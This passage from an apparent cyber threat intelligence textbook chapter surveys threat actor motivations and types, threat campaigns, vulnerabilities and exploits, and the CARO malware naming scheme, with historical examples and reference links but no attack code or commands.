			Now, I don't want to oversimplify any type of cyber-attack as some are very complex. Too often are ransomware malware samples and source code passed off as academic proof of concepts. This is unfortunate because it provides capabilities to the threat actors with minimal effort, letting them use these tools. 

			The cold fact is that with a ransomware payload, an email address to send the payload to, and a crypto wallet is all you need to commit a ransomware-based crime. Furthermore, the crypto wallet – the tool the threat actor is using – even provides several benefits for the threat actor. First, while not foolproof, the anonymity afforded by the crypto wallet helps lower the likelihood of the actor being identified. Second, with a crypto wallet, the threat actor has a direct line for currency transfer from their victim directly to the crypto wallet the threat actor is leveraging. 

			Now, I don't want to oversimplify ransomware-based attacks either as we are currently experiencing a scourge of ransomware attacks in this industry and some focused Ransomware-as-a-Service (RaaS) groups have complex infrastructures with affiliate programs and money laundering capabilities. However, you can see that the range of capabilities varies from our entry-level example to serious organized crime. The motivation behind it all… money.

			Important Note

			RaaS is the mature form of financially motivated organized crime in which the creator of the ransomware can offer affiliate services to use their ransomware. Usually, the affiliate is provided a cut of the monies gained from the campaign for the creator and sometimes, the creator of the ransomware can even offer crypto tumbling services. You can think of crypto tumbling as money laundering, as it is a service that mixes potentially identifiable exchanges with others to make it harder to find the origin of the currency.

			I don't want to give you the impression that financially motivated attacks are all about BEC and ransomware either. They can run a gamut of attack types, ranging from using banking trojans, information stealers that assist with credential theft, or even crypto miners. The sky is truly the limit because remember, technology is just the tool that facilitates crime.

			Revenge

			This motivation is full of emotions; anger, angst, hatred, revenge… all of the above. While the motivation contains the same emotions that fuel the crime, the attack presents itself in a couple of different forms. The most common form people expect when we say a revenge-based attack is that of an insider threat or from a former employee. Usually, the individual is targeting their place of employment, or their current or former place of employment, as motivated by some form of felt injustice. While immense amounts of damage can be done from the inside while the attacker has access, employees who have moved on from the corporation can still create harm because of the deep knowledge of how the business works or simply by utilizing the capabilities of other cybercriminals. An example of this could be something along the lines of renting a botnet service to perform a Distributed Denial of Service (DDoS) attack against their former employer's infrastructure. Another good example of this includes ransomware affiliates identifying and emailing disgruntled employees to deploy LockBit 2.0 ransomware on the employee's network (https://krebsonsecurity.com/2021/08/wanted-disgruntled-employees-to-deploy-ransomware/).

			While it's not very common, threat actors have even been known to target the security researchers and threat intelligence analysts who are hired by governments and corporations to identify them, their capabilities, and the infrastructure they employ. In 2007, it was widely publicized that the Storm worm was attacking anti-spam websites such as The SpamHaus Project (https://www.spamhaus.org/), an organization that was working to identify threat actors. Then, it even began attacking the personal website of Joe Stewart, a security researcher from SecureWorks, after he had published security research about the worm's capabilities. 

			Ideological beliefs

			Beliefs are hard to change. For someone to change their belief, they must give up the emotions they have invested in that belief; this is very difficult to achieve. It doesn't have to be about cyber threats; this applies to someone's views on almost any topic. Politics is a good example. An ideological belief can be so vested in an individual's psyche that they can feel compelled to act in the name of their belief. They know that what they feel is right and that any actions they are doing to support the belief are right, just, and qualified. Their identity is tied to this belief. It has become a part of their everyday life. 

			Threat actors who perform malicious acts in the name of their belief system are as old as crime itself. The use of modern technology is just another tool, as we mentioned when we spoke about financial motivations. The threat actor just has more tools at their disposal to act maliciously in the name of their belief. When we see threat actors who are acting out in the name of some ideological belief, this is often referred to as hacktivism, a cross between computer hacking and political activism. Most of their malicious actions can be categorized into just a handful of attack types, including website defacement, traffic deferment, DDoS-based activities, publishing confidential information, and even doxxing. 

			Important Note

			Doxxing or doxing by threat actors has become extremely prevalent in the last decade. The act of doxxing someone is when you find private information about an individual or a group and you make it public for malicious intent. From a legality perspective, some countries deem doxxing as legal, since the information is gathered via information available in the public domain, such as in the United States. However, in other countries, such as France, doxxing is considered illegal. 

			With the adoption of social media, most hacktivism actions are accompanied by some sort of social media mention, usually some form of online campaign socializing the belief and the online activity associated with the campaign. Additionally, most hacktivism campaigns have adopted social media etiquette, utilizing hashtags (as an example) to identify their plight. A brief scan of the last 12 months identifies a few, such as #OpChile, #OpKillingBay, and #OpGeorgeFloyd. The last one we mentioned, #OpGeorgeFloyd, which was created after the brutal killing of George Floyd in Minneapolis in May 2020, garnered over 8,500 tweets within weeks of the event. Social media can become a platform for socializing ideological beliefs, finding like-minded individuals, and acting as a tool that assists in getting support. It's another tool within reach of almost everyone who can begin their hacktivist campaign by hashtagging #Op[INSERT BELIEF HERE].

			Intelligence gathering and intellectual property theft

			Unknown to each other, threat actors from the opposite ends of the threat actor spectrum act based on this motivation. This is the desire for the acquisition, theft, or loss of data. I say this because while on one hand there could be a nation state-supported threat actor acting as an advanced persistent threat to a government seeking to steal their intelligence, on the other hand, it could be a threat from human error that reveals a corporation's intellectual property for the public to consume. It's hard to say that these threat actors are driven by this motivation as sometimes, it's not intentional, such as the human error element I mentioned. 

			This doesn't simplify the threat actor seeking intelligence and data, just their motivation. Threat actors falling into this motivation include nation state actors seeking to steal government intelligence, criminal actors seeking to steal corporate intellectual property, and employees just making mistakes revealing intellectual property through human error.

			Terrorism

			If you look up the modern definition of the word terrorism, you'd find that it boils down to using some form of intimidation to further a political gain. While it sounds like the ideologically driven actors we've discussed earlier, the large differentiator here is that these acts are usually performed on the public instead of a government or corporation. 

			The most recognized event and one of the earlier attacks that can be categorized as cyber terrorism was against Estonia in late April 2007. Around this time, there was some disagreement around the relocation of the Bronze Soldier of Tallinn, a Soviet-era grave marker that represented the USSR's victory over the Nazis, as well as war graves in the region. The chuff between the two regimes led to numerous cyber-attacks, including DDoS attacks against numerous Estonian organizations, an astronomical increase in spam targeting the region, website defacements, and even a misinformation campaign meant to confuse individuals. On April 26th, Tallinn erupted with two nights of rioting, but the aforementioned cyber campaigns went on for weeks. 

			These continued cyber-attacks against the nation reportedly left the country with the inability to communicate between their offices of government via email, financial infrastructure lost the ability to deliver cash – the ATMs were down – and disrupted telecommunication infrastructure, which meant that even the news organizations were unable to deliver the news! Estonia was in the dark and separated from the rest of the world. The Russian government never admitted to these attacks, but after-action investigations identified that a large portion of the attacks originated from Russian IP addresses. Additionally, speculation has it that several copycat hackers who were tracking the event may have participated.

			These attacks against Estonia were a wake-up call, leading to them being at the forefront of cyber defense just a decade later. They were the first to realize that nations could use the internet as a tool to disrupt society.

			Warfare

			War is the ultimate act of aggression between two different nations. Nations have been at war for almost all of time, so the adoption of modern tools to assist in combat efforts was a natural evolution since militaries are constantly looking for vehicles to perfect the art of war. The first publicly witnessed cyber attribution to a major physical arms escalation between nations states took place in August 2008 during the Russo-Georgian War. It was during this time that the world witnessed a series of cyber-attacks that disabled websites throughout Azerbaijan, Georgia, Russia, and South Ossetia before any sort of physical confrontation occurred. Several days before any armed conflict started, a disinformation campaign took place in which news websites were hacked and their material was replaced with propaganda seeking to influence the citizens of South Ossetia. And then the invasion started. 

			In this section, we talked about the various motivations that drive threat actors to attack. You can see that while many different forms of cyber-attack exist, they all boil down to what motivation is driving the attacker. In the next section, we'll discuss threat actors, their motivations, and how this information can help us connect the dots of an attack. 

			Threat actors

			Understanding and analyzing the different actor types and their distinct characteristics and motivations play a key role in synthesizing and enriching threat intelligence data. Connecting the dots of who performed an attack, along with the TTPs they leveraged, creates an accurate intelligence profile. Cyber threat actors are the individuals, states, or groups behind an attack. Threat actors act with malicious intent to take advantage of technical vulnerabilities and lack of security awareness to gain unauthorized access to enterprise devices, data systems, or networks.

			There are six basic classifications of threat actors that are commonly used in CTI, and while these broad classifications help illustrate the who behind an attack, these threat actor classifications are often mixed. This is because an actor group may comprise mixed motivations and classifications. To fully understand the nature of cyber threat actors, it's important to understand the history of classified cyber threat actors. With that, let's examine each in greater detail. 

			Important Note

			It is important to note that it's often very difficult to distinguish between threat actor types since their motivation is not often revealed.

			Let's start by examining nation state attackers. 

			Nation state attackers

			Bears, kittens, spiders, and octopuses – these days, these are classic naming conventions that are employed by organizations and government agencies for nation state attacks. Often called Advanced Persistent Threats (APTs), nation state attackers are attackers that originate from a nation state, such as a government-backed state-sponsored cyber-attack. Dating back to as early as 2004 and the Mandiant APT1 report (https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf), there has been widespread coverage of nation state attackers from many countries worldwide. From Iran, North Korea, the United States of America, Israel, the United Kingdom, and Russia to India and China – there's a seemingly never-ending news cycle of nation state attackers targeting rival governments. 

			Attackers in the nation state category have a license to hack, enabling nation state attackers to target organizations or individuals to gain unauthorized access to data or intelligence. Nation state attackers routinely employ zero-day vulnerabilities to compromise their victims due to their lethality. Nation state actors often hire hired hands or the hands-on keyboard may work for the government itself – most often in the military or intelligence services.

			Nation state actors often work without fear of legal prosecution as they are highly unlikely to be arrested by the nation states they are targeting. Nation state actors may engage in espionage, propaganda, or disinformation campaigns and have the resources and capabilities of their government behind them, giving them great flexibility in their attacks. 

			Nation state attackers are tasked with a litany of intelligence to pursue, but some examples include stealing industrial secrets, gathering military and national secrets, conducting propaganda or misinformation campaigns, or even contributing to a kinetic military operation. Most often, attacks that are employed by nation state attackers are complex and wide-ranging due to many factors, such as their human and technical resourcing, their ability to maintain persistency, and their capability sets.

			Nation state actors often conduct campaigns, which are groupings of specific activity based on motivation and capability. We will discuss these in more detail later in this chapter.

			Some of the best examples of nation state attacks are as follows:

			
					2007: Estonia Cyber Attack: https://en.wikipedia.org/wiki/2007_cyberattacks_on_Estonia.

					2009: Operation Aurora: https://googleblog.blogspot.com/2010/01/new-approach-to-china.html.

					2010: Stuxnet: https://collaborate.mitre.org/attackics/index.php/Software/S0010.

					2011: RSA SecureID Attack: https://www.wired.com/story/the-full-story-of-the-stunning-rsa-hack-can-finally-be-told/.

					2012: Flame Malware: https://www.telegraph.co.uk/news/worldnews/middleeast/iran/9295938/Flame-worlds-most-complex-computer-virus-exposed.html.

					2012: Red October: https://www.kaspersky.com/about/press-releases/2013_kaspersky-lab-identifies-operation--red-october--an-advanced-cyber-espionage-campaign-targeting-diplomatic-and-government-institutions-worldwide.

					2013: APT1: https://www.mandiant.com/resources/apt1-exposing-one-of-chinas-cyber-espionage-units.

					2014: APT28: https://www.mandiant.com/resources/apt28-a-window-into-russias-cyber-espionage-operations.

					2015: Ukrainian Critical Infrastructure Attacks: https://www.wired.com/story/russian-hackers-attack-ukraine/.

					2016: SWIFT Bank Heist: https://www.wired.com/2016/05/insane-81m-bangladesh-bank-heist-heres-know/.

					2017: Lazarus: https://www.wired.com/story/russian-hackers-attack-ukraine/.

					2021: Solarwinds Attacks: https://www.npr.org/2020/12/15/946776718/u-s-scrambles-to-understand-major-computer-hack-but-says-little.

					2021: Hafnium Attacks Targeting Microsoft Exchange Vulnerabilities: https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/.

			

			As you can see, nation state attackers have been busy over the years and this list is nowhere near exhaustive. Now, let's discuss cybercriminals.

			Cybercriminals

			One of the largest categories of attackers is the ever-popular cybercriminal. The motivations of cybercriminals were discussed in the previous section, but most often, monetary gain is central to their motivations. There are varying degrees of sophistication regarding cybercriminals, ranging from basic criminals leveraging pre-built tools to highly sophisticated professionals, who often specialize in very specific areas of computer security.

			A professional operating in the cybercrime field enables phone support scams, writing software for other cybercriminals, or generally helping prop up the cybercrime supply chain, such as by facilitating initial compromise. Professional cybercriminals are career professionals and they typically make the jump from other criminal activities, such as fraud. Professional cybercriminals typically understand their victim organizations very well, including how to evade organizational defensive controls. Professionals may also be involved in cybercrime as a service, which has become quite popular with organized ransomware groups.

			Unlike their more professional peers, less sophisticated cybercriminals exist, who are often involved in rudimentary criminal operations such as cracking usernames and passwords and selling them on underground forums and marketplaces. Less sophisticated cybercriminals or script kiddies often use malware builders or pre-compiled malware to conduct their attacks. Money mules are often involved in some way or form with cybercriminals as they're typically responsible for converting digital money into physical money. 

			Within cybercrime, many types of attacks are leveraged. There are several prominent cybercrime risks, with two very prominent business models, both of which are extremely financially damaging. One is business email compromise (BEC), while the other is Ransomware-as-a-Service (RaaS).

			BEC is a scam that involves a criminal sending an email message that appears to originate from a trusted source to an individual or employee of an organization, with the motivation often revolving around social engineering and facilitating wire transfers.

			Some BEC examples are as follows:

			
					A vendor that regularly deals with invoices receives an email that appears to come from a service provider.

					A company's CEO assistant who is involved in purchasing several types of business-critical items receives an updated shipping notification. 

					A homebuyer receives an email from their title company about wire transfer information.

			

			A BEC scammer might spoof an email account or website, send spear-phishing emails, or, in some cases, use malware such as keyloggers. Spear phishing is a subset of phishing that solely focuses on a small group or subset of individuals for a specific purpose. A diverse and sophisticated threat has emerged since roughly 2016, and that's RaaS. It's important to specifically mention RaaS due to its prevalence, sophistication, and impact on victim individuals or organizations. RaaS is a business model that's used by ransomware actors in which they lease their ransomware to other threat actors, making their entry easier. RaaS gives everyone, even those with few technical skills, the ability to launch a ransomware attack. There are four main RaaS revenue models:

			
					Monthly subscription

					Affiliate programs

					One-time license fee

					Profit-sharing 

			

			The RaaS market is extremely competitive, with several groups operating with near impunity in the open. Thanks to the easy entry and easy buy-in, RaaS has been prevalent for years, and likely will continue to be so in years to come:
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			Figure 2.1 – OmniSphere RaaS post on a popular underground forum

			Cybercriminals dominate the threat landscape due to the numerous motivations and attack methodologies. For some criminal activities, the barrier to entry is extremely low making it appealing to early in career cyber criminals; however, as we've discussed, the level of technical sophistication and complexity of the crime can easily increase. Now let's move on to discuss hacktivists.

			Hacktivists

			From Anonymous to the Syrian Electronic Army, hacktivists are motivated by change. Hacktivists often have extreme ideological views, often focused on political, religious, or social causes. Hacktivists are most likely to cause visible damage, such as defacing a website, rather than a quiet attack type, which is more akin to a nation state attacker. Hacktivists and hacktivism are often controversial terms that contain several meanings. The original term was coined to mean a form of direct action to sway social change. 

			Hacktivists are usually more disorganized in their approach since they primarily rely on attracting talent from their base of believers. Hacktivists sometimes turn out to be common criminals, hiding their criminal activity behind their ideological causes:
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			Figure 2.2 – News article involving the Anonymous group attacking gas station pumps

			Hacktivists can cause discontent and discourse via the internet, which often enables them to claim credit for attacks they maybe didn't even perform. It's routine for hacktivists to compromise an organization and wait to release the information until it gains the most media attention. Actors require several diverse ways to fund their operations, ranging from donations at the low end to hierarchical sponsorships and funding at the high end. 

			Hacktivists leverage a litany of attack styles, including the following:

			
					Defacements: As the name implies, this attack is a simple website defacement, often to amplify the attacker's core message:
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			Figure 2.3 – Image of a hacktivist defacing websites after a US airstrike killed Iranian General Khoumani

			
					Doxxing: Doxxing is a form of attack that involves publishing private and identifying information about a particular person, often with malicious intent.

					Denial of service (DoS) and distributed denial of service (DDoS) attacks: DoS attacks involve temporarily or indefinitely disrupting services or networks via flooding or smurf attacks. DDoS attacks often involve multiple compromised computers as sources for the DDoS attack. The compromised machines can include anything from computers to systems such as IoT devices.

					Website redirects: Website redirects involve an attacker changing content on a victim's website to redirect them to a site created by the attacker, which often denounces the originally visited site.

					Website mirroring: Website mirroring is often a circumvention method to bypass censorship technologies. Website mirroring involves the hacktivist making a copy of a censored website and hosting it on a domain that is not censored, allowing broader access.

			

			There are many real-world examples of hacktivists performing attacks, including the following:

			
					2011: Lulzsec attacks the Federal Bureau of Investigation (FBI) in the US, disrupting their website: https://www.theguardian.com/technology/2013/may/16/lulzsec-hacking-fbi-jail.

					2011: Lulzsec attacks the Serious Organized Crime Agency (SOCA) in the UK, disrupting their website: https://www.theguardian.com/technology/2011/jun/21/soca-website-hacking-lulzsec.

					2013: Syrian Electronic Army (SEA) utilizes spam attacks against notable figures, including Barack Obama and Nicolas Sarkozy: https://www.bbc.co.uk/news/world-middle-east-22287326.

					2014: SEA uses malware to carry out surveillance to discover the identities of Syrian rebels: https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html.

					2015: Anonymous attacks an internet-connected gas station pump monitoring system: https://www.theregister.com/2015/02/11/anonymous_hacks_fuel_station_monitoring_system/.

			

			Next, we'll look at terrorist groups.

			Terrorist groups

			Terrorist groups, while usually considered kinetic, often employ cyber-attacks and threats to further their ideological narratives. The term cyberterrorism is a controversial term since its interpretation can be broadly subjective. Cyberterrorism and cyberterrorists refer to attacks and threats against individuals or organizations to intimidate or coerce a government or its citizens to further the terrorist group's political or social objectives.

			Most terrorist groups involve recruiting, website and social media defacements and hacks, DoS attacks, and doxxing individuals and adding them to kill lists. Most groups currently classified as cyberterrorist groups pose a low threat due to their relative lack of technical sophistication. Most cyberterrorist organizations leverage well-known tools and have relatively little skill in malware or attack tool development.

			There are several possible motivations for terrorist organizations moving into the cyber realm. First and foremost, the cost is lower than typical kinetic operations. Also, the semi-anonymous nature of attacks that cybercriminals leverage (for example, a DDoS attack) makes it easy to claim credit for attacks that, in some cases, weren't conducted by the terrorists themselves.

			There are several examples of cyberterrorism, including the following:

			
					2011: Al Qaeda recruiting and training new members: https://thediplomat.com/2011/09/how-al-qaeda-recruits-online/.

					2015: Tasmanian airport website defacement: https://www.telegraph.co.uk/news/worldnews/islamic-state/11531794/Australian-airport-website-hacked-by-Islamic-State.html.

					2015: United States military database hacked: https://www.theguardian.com/world/2015/aug/13/isis-hacking-division-releases-details-of-1400-americans-and-urges-attacks.

					2016: Islamic State hackers coordinated and carried out an attack on Australian websites, many of which redirected to websites containing ISS content: https://en.wikipedia.org/wiki/Islamic_State_Hacking_Division#cite_note-23.

					2017: ISIS compromises Swedish radio station and broadcasts a recruitment song: https://www.hackread.com/someone-hacked-swedish-radio-station-play-pro-isis-song/. 

					2017: United Cyber Caliphate released a kill list: http://www.newsweek.com/isis-linked-cyber-group-releases-kill-list-8786-us-targets-lone-wolf-attacks-578765.

			

			Next, we will look at thrill seekers. 

			Thrill seekers

			Thrill seekers often have age on their side. Thrill seekers are often young, but they use their youth to their advantage. If thrill seekers are eventually caught, they typically don't get more than a slap on the wrist. Most thrill seekers think they will never be prosecuted, which helps fuel their behavior. While thrill seekers are typically not technologically advanced, they are keen to gain the attention and admiration of their peers, which often motivates them in their attacks. Thrill seekers are often tinkerers at heart, which is the same passion that typically fuels their objectives.

			Thrill seekers often employ basic attacks, such as forgotten password schemes and social engineering attacks. Thrill seekers often idolize specific cybercriminals, with the idea that they could someday follow in their footsteps. Thrill seekers often attack individuals or organizations to gain credit on underground forums and other non-traditional sources. 

			Thrill seekers will sometimes evolve into full-blown cybercriminals or legitimate professionals. Thrill seekers often use off-the-shelf and readily available tools such as Metasploit. Even recently, there are several case studies involving thrill seekers, including, for example, the 17-year-old Graham Ivan Clark, who targeted the Twitter accounts of US President Barack Obama and Elon Musk (https://www.nytimes.com/2020/07/31/technology/twitter-hack-arrest.html).

			Insider threats

			An insider threat is a threat type that originates from employees operating in the targeted organization. The specific risk of an insider threat revolves around the institutional organizational knowledge the insider is likely to know. Insider threats can come in many forms, including the following:

			
					Executive staff

					Contractors/consultants

					Former employees

					Current employees

					Business partners

			

			Insider threats include attempts to sabotage, steal, perform espionage or fraud, or gain a competitive advantage. Insider theft will most often not look like that of a traditional cyber-attack, which may use malware. Insiders have an advantage because of their access, knowledge of company data, and intellectual property. Additionally, insider threats likely know about the security precautions that are employed by the organization. 

			Insider threats are often carried out through mishandling physical devices, abusing access rights, or theft of intellectual property such as engineering diagrams. Most insider threat activity occurs over a certain period due to their continued access to intellectual property and their specialized knowledge of the corporate environment.

			There are four distinct types of insider threats, as follows:

			
					Negligent insider: Unintentional insider threat by acting in insecure ways, such as clicking on spear-phishing emails. 

					Collusive insider: Insiders colluding with external threat actors to target an organization. This type of threat is becoming more prevalent as underground threat actors routinely recruit organization insiders to perform compromises and scams. 

					Malicious insider: Insiders exfiltrating trade secrets, intellectual property, or committing other attacks against the organization for financial or personal gain and rewards.

					Third-party: Contractors or vendors that an organization typically provides access to its networks and resources.

			

			Detecting insider threats is typically a difficult process and proves challenging. Insider threat activity often blends into business-justified work processes, making it difficult to determine malicious versus legitimate behavior. In some cases, detection is possible, such as catching a collusive insider as they communicate or pass data to their external partners. Catching malicious insiders is often done by performing pattern matching on data access and exfiltration, specifically for identifying access to data that shouldn't be allowed.

			To summarize, when looking at threat actors, it's important to map those threat actors to different motivations. While there are many varying motivations for a threat actor, there are some common motivation examples, as shown in the following table:
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			Table 2.1 – Various motivations

			Those who are entering CTI don't realize the diverse actor ecosystem, and in this section, we wanted to help address the distinct nuances between each type of actor. Now that we've looked at some of the introductory concepts of CTI related to actor group types, let's continue exploring additional foundational aspects of threat intelligence – campaigns.

			Threat campaigns

			Understanding what defines a threat campaign is paramount in CTI. Threat campaigns help define a specific cluster of related activity conducted by a singular or several threat actors or groups acting in unison. Ultimately, campaigns are groups of threat activity that are carried out by threat actors using specific tactics, techniques, and procedures operating for a specific purpose. A good example of this would be a threat actor group targeting a retail outlet during December. 

			A threat campaign is a set of incidents performed by a threat actor using specific techniques over a specific timeframe with a particular motivation and target. Most often, when campaigns are being identified, the actor behind the campaign cannot be defined. In this case, it's best to assign a temporary or unknown actor indicator for further clustering and analysis. Defining the activity that correlates with a specific campaign is a largely subjective decision. This is often the case because the data and activity forming the foundation of the campaign is usually seen through a single pane of glass. This ultimately means there are likely additional elements to the campaign that are only singularly witnessed by a researcher at one organization, meaning the campaign may span other organizations or victims. 

			Campaigns can vary in terms of the size of the targets. Some target sets will include only one victim with a highly concentrated effort applied, while other campaigns may be wide-reaching, with many individual actors employing many different tools or malware. Ultimately, countless campaigns have been published throughout the years, with the Mandiant APT1 report likely being one of the first publicly attributed threat campaigns.

			The threat campaign definition often varies based on the individual performing the research or the organization sponsoring the research. In many cases, threat campaigns are often defined loosely based on the following:

			
					A common target or industry vertical 

					A threat activity occurring in a specific timeframe

					A threat activity revolving around a set of infrastructure

					A threat activity that includes using a specific vulnerability or exploit

					A threat activity that includes using a common tool or malware builder

					Common ransom notes

					Common infection vectors, such as spear-phishing or malicious document files

			

			Unfortunately, campaign naming, like that of the malware of actor groups, is often confusing. Many organizations and media outlets will commonly and incorrectly identify a campaign as an actor group name or malware family. While somewhat nebulous, it's important to understand the unique attributes that often make up threat actor campaigns.

			Having a firm understanding of what defines a threat campaign will help inform defenders and let them telegraph possible attacks in the future. As a closing example, if a threat actor is continually targeting US banking institution customers with phishing emails with malicious documents exploiting CVE-2017-11882, the SOC departments in US banks should be investing time in analyzing macros embedded in Microsoft Office documents more closely.

			To put more clarity around threat campaigns, you must understand how the initial compromise occurred and the actions that were taken after entry into any infrastructure. Now, let's discuss how threat actors gain entry by exploiting vulnerabilities in software and utilizing malware during their threat campaigns. 

			Vulnerabilities and malware

			There's a flow here that most people may not be aware of and it all starts with software developers. Nearly all software applications can contain vulnerabilities, especially as they grow and become more complex. They aren't intentional; rather, unintended flaws exist due to any number of reasons, including improper coding implementation, configuration issues, and even just bad coding standards. These vulnerabilities, if left unaddressed, can be exploited and not necessarily directly by threat actors.

			Vulnerabilities and exploits

			Vulnerability identification is crucial for the attack chain to begin as often, the initial entry is through exploiting a vulnerability in a software application. To be clear here, as it pertains to malware, the vulnerability exists in the software application and a threat actor exploits the vulnerability to gain access or get privilege escalation to execute malware. The act of doing this is called exploitation.

			Vulnerability identification is a very lucrative skillset and isn't always practiced by threat actors. Numerous organizations employ information security practitioners in the form of red teams, penetration testers, or exploitation engineers to assist in identifying vulnerabilities in their software applications. Security researchers are often employed by security companies to hunt for vulnerabilities in commonly available software suites to develop signatures for detection and to gain industry notoriety. Security researchers are even known to act as hobbyists by bug bounty hunting in their free time if it is outside the responsibilities of their employment. 

			There are whole businesses built around bounty hunting for vulnerabilities and some people wear their Common Vulnerabilities and Exposures (CVE) identification like a badge of honor, trying to rack up as many CVE credits as possible. In the professional community, a community standard exists in which CVE numbers are generated, assigned to a vulnerability, and consumed for identification by the industry.

			Important Note

			CVE is a list of publicly disclosed vulnerabilities that exist in software applications. When we refer to a CVE, we are usually referring to a security flaw that is tracked by a CVE number. The CVE program was started by the MITRE Corporation and its mission is to identify, define, and catalog all publicly disclosed cyber security vulnerabilities. You can reach more about the CVE program at https://cve.mitre.org/.

			To assist in the process of proving that a vulnerability exists and can be exploited, if possible, a proof of concept (POC) piece of code or software application is created that shows how the vulnerability can be exploited. Normally, the POC is reported to the owner of the software application that is exploited, the company recognizes that the vulnerability exists, and then they go through the public disclosure process we described previously while the software application is being patched.

			Note that the person who writes the POC isn't necessarily the same person who was responsible for identifying the vulnerability. There are numerous instances where the person who has created a POC that demonstrates that the vulnerability can be exploited simply read the vulnerability disclosure after the CVE number was assigned. Often, this individual will simply post the POC online on a publicly available software repository for recognition or notoriety. These software repositories can become the prime hunting grounds for threat actors looking to add to their exploitation toolset:
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			Figure 2.4 – Individual offering to buy 0-day exploits on a popular underground forum

			It's an understatement to say there is a huge interest in vulnerabilities and exploitation code in dark markets and in dark web forums where threat actors linger. In these locations, people who wish to gain financially from their vulnerability identification and exploit code generation skillset offer sales of exploits. The prices  vary, depending on the scale of the exploitation. This means that the threat actor will usually evaluate the sale based on what type of access the sale will provide in the attack chain, how it furthers their attack, or even who the target organization is. 

			Malware

			Exploiting a vulnerability is only going to give initial access to the threat actor. Further down the attack chain, the threat actor will eventually decide that they want to install some form of malware, depending on the situation. Malware, or malicious software, is a crafted binary, often called a payload, which provides custom functionality for the threat actor and is malicious. 

			The intentions of the threat actor will determine what type of malware they decide to install and when. As an example, an actor whose goal is to steal data might install some form of backdoor to have repeated access to the infrastructure, while an actor who is seeking financial compensation directly from the victim company may install ransomware, which will inform the victim that their files have been encrypted. 

			The malware that the threat actor uses can be obtained from several places, including malware-as-a-service companies, dark web marketplaces, malware DIY kits, open source POCs, or even just written by the threat actor directly. Next, we'll explore how malware, campaigns, and actors get named.

			Malware, campaigns, and actor naming

			What's in a name? In the cybersecurity community, a lot. While there is seemingly an endless number of bears, lotuses, spiders, and octopi, these names aren't arbitrary. Most often, these names that are employed by companies across the globe are nicknames associated with clustered attributes about the groups behind malicious activities. 

			The act of naming

			The act of naming threat actors is done by vendors throughout the security community, such as FireEye, Dell Secureworks, Palo Alto Networks, Crowdstrike, or Symantec. Some companies use animals or insects, while others use numbers, but one thing is for certain: it's confusing.

			Names are often derived based on technical and operational groups of activity, such as a grouping of malicious macro-embedded decoy documents with the same author and payload. Operational groupings can occur when there is a similarity in operational work, such as sharing a C2 infrastructure among a collection of malware being dropped from a malicious decoy document.

			Name divergence is commonplace, largely due to four main technical reasons:

			
					Organizational telemetry data

					Threat actors converging/breaking

					Threat actor tool sharing 

					Threat actor infrastructure sharing

			

			Unique naming occurs across malware families, campaigns, actor groups, APT groups, and more. Each naming classification brings unique considerations, most of which will be described in the following section.

			Actor, activity, and group naming

			Groups can generally be classified into three categories: activity groups, actor groups, and APT groups. Activity groups are typically less structured groups of clustered activity with no additional defining features to promote to an actor group. There may or may not be similarities between actors that use hands-on keyboards, and their motivations may vary. A good example of an activity group is grouping all the malware binaries that are created from a specific malware builder version. Grouping just those generated binaries often won't detail the actors' motivations or objectives.

			Actor groups, very broadly speaking, are similarly motivated individuals working toward a semi-common or common objective. As more details evolve and get flushed out over time, actor groups can likely evolve into formalized groups. A good example of this would include some hacktivist groups, such as Anonymous. 

			APT groups, on the other hand, are considered actor groups that are advanced, highly targeted, have persistence, and can move laterally, regardless of their motivation. Generally speaking, it's difficult to determine the group behind a specific APT group. Many researchers may suspect that a certain country could be directing an APT's activity, but more often than not, attribution is made based on analytical suspicion rather than hard evidence. 

			As an example, if a decoy document targets users in South Korea, logically, some analysts could or would conclude that North Korea could be the culprit behind the attack. While that may be true, there may not be enough technical evidence to prove that hypothesis. If you add false flags and the dynamic nature of today's threat actors, including speculation and finger-pointing, this quickly becomes a troublesome endeavor. 

			Important Note

			A word on the term APT: The term APT is often viewed as activity directed and supported by a nation state. However, in this book, we will use APT as any adversary, criminal, nation state, or otherwise that is persistent, advanced in their capability, and can strategically retarget victims, such as changing their techniques, regardless of their motivation.

			It's common for threat researchers to build profiles of activity, actor, or APT groups based on the malware being used, as well as the tactics and techniques. Often, those profiles are grouped around similar activity, which can ultimately lead to recommendations for defenders. It's also common for names to be driven based on information security marketing. If a researcher at $Company A, for instance, identifies and names an activity with a catchy name, it may be more likely to draw media attention.

			Now that we've looked at some of the fundamental concepts of naming across activity, actor, and APT groups, let's explore the specifics behind naming malware.

			Malware naming

			Naming malware can occur in a litany of ways. Researchers may find common interesting mutexes, for example, and name the malware after the commonality identified. Other researchers or organizations may adhere to the Computer Antivirus Research Organization (CARO) malware naming scheme. 

			The most common standard that should be leveraged for malware naming conventions is the CARO malware naming scheme due to its accuracy and standardized methods for naming malware. The CARO malware naming scheme was best described by Dr Vesselin Bontchev when he stated the following:

			"The fundamental principle behind the CARO Malware Naming Scheme is that malware should be grouped into families, according to its code similarity."

			The CARO naming scheme follows the following format for naming:

			Type:Platform/Family.Variant!Suffixes

			The type of malware is derived from a list of predefined types, all of which are meant to describe the type of malware the file is:

			
					Adware

					Backdoor

					Behavior

					BrowserModifier

					Constructor

					DDoS

					Exploit

					Hacktool

					Joke

					Misleading

					MonitoringTool

					Program

					PWS

					Ransom

					RemoteAccess

					Rogue

					SettingsModifier

					SoftwareBundler

					Spammer

					Spoofer

					Spyware

					Tool

					Trojan

					TrojanClicker

					TrojanDownloader

					TrojanNotifier

					TrojanProxy

					TrojanSpy

					VirTool

					Virus

					Worm

			

			The platform is the type of operating system or platform that the type of malware is designed to be executed on.

			The family is a grouping of malware based on common characteristics, such as a malware family written by the same author. Most often, each antivirus vendor will name the malware family differently, based on their visibility into the threat.

			The variant is often denoted by a letter, indicating the specific and distinct version of the malware family. The lettering for variants within a malware family is often sequential in order, so if the most recent variant that's been identified is .B, the subsequent variant would be identified as .C.

			Finally, the suffix provides additional details about the malware, such as if the malware was used as part of a multicomponent attack. As an example, the.ldr suffix would indicate that the malware is the loader part of the malware.

			Using the previously identified naming scheme, you can draw some conclusions regarding how malware is typically named. As an example, identifying a new variant of the REvil ransomware would be noted as follows:

			Ransom:Win64/REvil.B!exe

			Malware naming, when done correctly, can be incredibly descriptive. However, when done improperly and often without following a standard, malware naming becomes confusing at best. 

			Campaign naming

